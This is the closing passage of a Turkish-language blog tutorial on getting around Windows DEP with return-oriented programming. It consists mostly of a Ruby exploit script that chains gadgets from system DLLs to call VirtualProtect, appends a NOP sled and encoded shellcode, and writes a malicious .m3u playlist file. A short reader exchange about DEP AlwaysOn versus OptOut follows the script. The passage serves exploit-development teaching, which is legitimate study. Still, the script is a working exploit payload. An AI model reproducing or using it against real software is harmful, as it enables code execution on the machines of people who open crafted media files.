EAX,100 + POP EBP + RETN > msvcrt.dll rop << [0x41414141].pack("V*") # trash for POP EBP # EAX = 0x000FF834 # EDI = 0x000FF734 # ESI = 0x000FF734 # Overwrite first & second parameter of VP() rop << [0x7301D6EA].pack("V*") # MOV DWORD PTR DS:[ESI+18],EAX + MOV DWORD PTR DS:[ESI+1C],EAX + MOV EAX,ESI + POP ESI + POP EBP + RETN 4 > MFC42.dll rop << [0x41414141].pack("V*") # trash for POP ESI rop << [0x41414141].pack("V*") # trash for POP EBp # EAX = 0x000FF834 # EDI = 0x000FF734 # ESI = 0x41414141 rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET rop << [0x14141414].pack("V*") # trash for RETN 4 rop << [0x62626262].pack("V*") # trash for POP ESI rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN > ole32.dll # EAX = 0x000FF734 # EDI = 0x000FF734 # ESI = 0x000FF734 # EAX'i shellcode size'a eşitliyoruz VP()'nin 3.parametresi olarak rop << [0x77C4E0DA].pack("V*") # POP EAX + RETN > msvcrt.dll rop << [0xFFFFFBFF].pack("V*") # NEG(0xFFFFFBFF) = 0x00000400 rop << [0x77C1D1E3].pack("V*") # NEG EAX + POP EBP + RETN > msvcrt.dll rop << [0x41414141].pack("V*") # trash for POP EBP # EAX'i (0x300) ESI+20'ye taşıyoruz.. VP()'nin 3.parametresi rop << [0x775DD86D].pack("V*") # MOV DWORD PTR DS:[ESI+20],EAX + POP ESI + POP EBX + POP EBP + RETN 4 > ole32.dll rop << [0x41414141].pack("V*") # trash for POP ESI rop << [0x41414141].pack("V*") # trash for POP EBX rop << [0x41414141].pack("V*") # trash for POP EBP # ESI tekrar kurtarıldı rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET rop << [0x41414141].pack("V*") # trash for RETN 4 rop << [0x14141414].pack("V*") # trash for POP ESI rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN > ole32.dll # EAX'i VP()'nin 4.parametresi olan 0x40'a eşitliyoruz.. rop << [0x100307A9].pack("V*") # XOR EAX, EAX + RETN > MSRMfilter03.dll rop << [0x7C972250].pack("V*") # ADD EAX,40 + POP EBP + RETN > ntdll.dll rop << [0x41414141].pack("V*") # trash for POP EBP # ESI+24'e EAX(0x40)'i yazdiriyoruz.. rop << [0x77ECF538].pack("V*") # MOV DWORD PTR DS:[ESI+24],EAX + POP ESI + RETN > RPCRT4.dll rop << [0x41414141].pack("V*") # trash for POP ESI # Trying to point ESP to EAX (VP()!) rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET rop << [0x41414141].pack("V*") # trash for POP ESI rop << [0x77C1F2CF].pack("V*") # ADD EAX,0C + RETN > msvcrt.dll rop << [0x1001D2AC].pack("V*") # ADD EAX,4 + RETN > MSRMfilter03.dll rop << [0x1001D2AC].pack("V*") # ADD EAX,4 + RETN > MSRMfilter03.dll rop << [0x77C15ED5].pack("V*") # XCHG ESP,EAX + RETN > msvcrt.dll # shellcode to execute from stack when ROP success nops = ("\x90" * 100) shellcode = "\xbb\xfd\x1c\xf5\x42\xd9\xc0\xd9\x74\x24\xf4\x5d\x33\xc9" + "\xb1\x33\x31\x5d\x12\x03\x5d\x12\x83\x10\xe0\x17\xb7\x16" + "\xf1\x51\x38\xe6\x02\x02\xb0\x03\x33\x10\xa6\x40\x66\xa4" + "\xac\x04\x8b\x4f\xe0\xbc\x18\x3d\x2d\xb3\xa9\x88\x0b\xfa" + "\x2a\x3d\x94\x50\xe8\x5f\x68\xaa\x3d\x80\x51\x65\x30\xc1" + "\x96\x9b\xbb\x93\x4f\xd0\x6e\x04\xfb\xa4\xb2\x25\x2b\xa3" + "\x8b\x5d\x4e\x73\x7f\xd4\x51\xa3\xd0\x63\x19\x5b\x5a\x2b" + "\xba\x5a\x8f\x2f\x86\x15\xa4\x84\x7c\xa4\x6c\xd5\x7d\x97" + "\x50\xba\x43\x18\x5d\xc2\x84\x9e\xbe\xb1\xfe\xdd\x43\xc2" + "\xc4\x9c\x9f\x47\xd9\x06\x6b\xff\x39\xb7\xb8\x66\xc9\xbb" + "\x75\xec\x95\xdf\x88\x21\xae\xdb\x01\xc4\x61\x6a\x51\xe3" + "\xa5\x37\x01\x8a\xfc\x9d\xe4\xb3\x1f\x79\x58\x16\x6b\x6b" + "\x8d\x20\x36\xe1\x50\xa0\x4c\x4c\x52\xba\x4e\xfe\x3b\x8b" + "\xc5\x91\x3c\x14\x0c\xd6\xb3\x5e\x0d\x7e\x5c\x07\xc7\xc3" + "\x01\xb8\x3d\x07\x3c\x3b\xb4\xf7\xbb\x23\xbd\xf2\x80\xe3" + "\x2d\x8e\x99\x81\x51\x3d\x99\x83\x31\xa0\x09\x4f\x98\x47" + "\xaa\xea\xe4" junk2 = ("\xCC" * (600 - shellcode.length)) payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}" puts "Payload size : #{rop.length}" File.open("rop2.m3u", "w") { |f| f.write(payload) }
Bu makaleyi burada bitiriyorum. Biraz uzun oldu ise kusura bakmayın sanırım yazacak çok şey vardı. İyi ROP'lamalar :>
Referanslar
[1] http://msdn.microsoft.com/en-us/library/aa366898(v=vs.85).aspx
[2] http://msdn.microsoft.com/en-us/library/aa366786(v=vs.85).aspx
Selamlar hocam, DEP koruma mekanizmalari AlwaysOn ve OptOut seceneklerinin pypass acisindan ne gibi farklari var. OptOut oldugu zaman uygulama bazli DEP kapatilabiliyor. Ama AlwaysOn oldugu zaman uygulama bazli bir kapatma islemi gerceklestiremiyoruz. DEP Bypass edilirken yazdigimiz exploit kodu bu seceneklerden etkilenir mi?
ReplyDeleteTesekkurler simdiden.
@chx selamlar, yorumu yeni farketmemle birlikte hemen cevapliyorum kusura bakma gec cevap icin. AlwaysOn ya da OptOut olmasi kullanacagin ROP teknigine bagli olarak exploitation'i etkiler. Ornegin SetProcessDEPPolicy() veya NtSetProcessInformation() metotlarindan birini kullanarak DEP bypass etmeye calisacaksan AlwaysOn seni etkileyecektir. VirtualProtect trick'i icin bir engel bilmiyorum iki durumda da calisacaktir.
Delete